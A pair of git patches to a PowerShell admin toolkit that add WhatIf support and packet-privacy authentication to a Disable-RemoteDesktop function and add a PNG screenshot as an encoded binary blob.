=?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 11 Apr 2016 17:34:06 -0400 Subject: [PATCH 095/561] Update Disable-RemoteDesktop.ps1 Add Support for whatif Add Authentication parameter on the get-wmiobject query --- .../Disable-RemoteDesktop.ps1 | 148 ++++++++++-------- 1 file changed, 80 insertions(+), 68 deletions(-) diff --git a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 index e18a7821..c2b75388 100644 --- a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 +++ b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 @@ -1,4 +1,4 @@ -function Disable-RemoteDesktop +function Disable-RemoteDesktop { <# .SYNOPSIS @@ -32,8 +32,11 @@ Francois-Xavier Cat @lazywinadm www.lazywinadmin.com + github.com/lazywinadmin #> - [CmdletBinding()] + #Requires -RunAsAdministrator + [CmdletBinding(DefaultParameterSetName = 'CimSession', + SupportsShouldProcess = $true)] PARAM ( [Parameter( ParameterSetName = "Main", @@ -74,7 +77,7 @@ $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name Write-Output "[$DateFormat][$FunctionName] $Message" - }#Get-DefaultMessage + } #Get-DefaultMessage } PROCESS { @@ -84,42 +87,46 @@ { $CIMComputer = $($Cim.ComputerName).ToUpper() - TRY + IF ($PSCmdlet.ShouldProcess($CIMComputer, "Disable Remote Desktop via Win32_TerminalServiceSetting")) { - # Parameters for Get-CimInstance - $CIMSplatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - CimSession = $Cim - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessGetCimInstance" - } - # Parameters for Invoke-CimMethod - $CIMInvokeSplatting = @{ - MethodName = "SetAllowTSConnections" - Arguments = @{ - AllowTSConnections = 0; - ModifyFirewallException = 0 + TRY + { + # Parameters for Get-CimInstance + $CIMSplatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + CimSession = $Cim + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessGetCimInstance" + } + + # Parameters for Invoke-CimMethod + $CIMInvokeSplatting = @{ + MethodName = "SetAllowTSConnections" + Arguments = @{ + AllowTSConnections = 0; + ModifyFirewallException = 0 + } + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessInvokeCim" } - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessInvokeCim" + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - disable Remote Desktop (and Modify Firewall Exception") + Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting + } + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") + IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } + IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } + Write-Warning -Message $Error[0].Exception.Message + } #CATCH + FINALLY + { + $CIMSplatting.Clear() + $CIMInvokeSplatting.Clear() } - - Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - disable Remote Desktop (and Modify Firewall Exception") - Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") - IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } - IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } - Write-Warning -Message $Error[0].Exception.Message - } #CATCH - FINALLY - { - $CIMSplatting.Clear() - $CIMInvokeSplatting.Clear() } } #FOREACH ($Cim in $CimSessions) } #IF ($PSBoundParameters['CimSession']) @@ -129,43 +136,48 @@ { $Computer = $Computer.ToUpper() - TRY + IF ($PSCmdlet.ShouldProcess($Computer, "Disable Remote Desktop via Win32_TerminalServiceSetting")) { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -Computer $Computer -count 1 -quiet) + + TRY { - $Splatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ErrorProcessGetWmi' - } - - IF ($PSBoundParameters['Credential']) + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -Computer $Computer -count 1 -quiet) { - $Splatting.credential = $Credential + $Splatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + ComputerName = $Computer + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = 'ErrorProcessGetWmi' + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.credential = $Credential + } + + # disable Remote Desktop + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - disable Remote Desktop") + (Get-WmiObject @Splatting).SetAllowTsConnections(0, 0) | Out-Null + + # Disable requirement that user must be authenticated + #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null } - - # disable Remote Desktop - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - disable Remote Desktop") - (Get-WmiObject @Splatting).SetAllowTsConnections(0, 0) | Out-Null - - # Disable requirement that user must be authenticated - #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null + } + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") + IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } + Write-Warning -MEssage $Error[0].Exception.Message + } + FINALLY + { + $Splatting.Clear() } } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") - IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject")} - Write-Warning -MEssage $Error[0].Exception.Message - } - FINALLY - { - $Splatting.Clear() - } - }#FOREACH + } #FOREACH } #ELSE (Not CIM) - }#PROCESS -}#Function \ No newline at end of file + } #PROCESS +} #Function From 4931c7b8dc6e5225f340bc8c201f2448d97a3848 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 11 Apr 2016 17:36:26 -0400 Subject: [PATCH 096/561] Add screenshot --- .../Enable-RemoteDesktop.png | Bin 0 -> 28475 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.png diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.png b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.png new file mode 100644 index 0000000000000000000000000000000000000000..953dca2a86e34f6e11a851613f764986ee629a14 GIT binary patch literal 28475 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 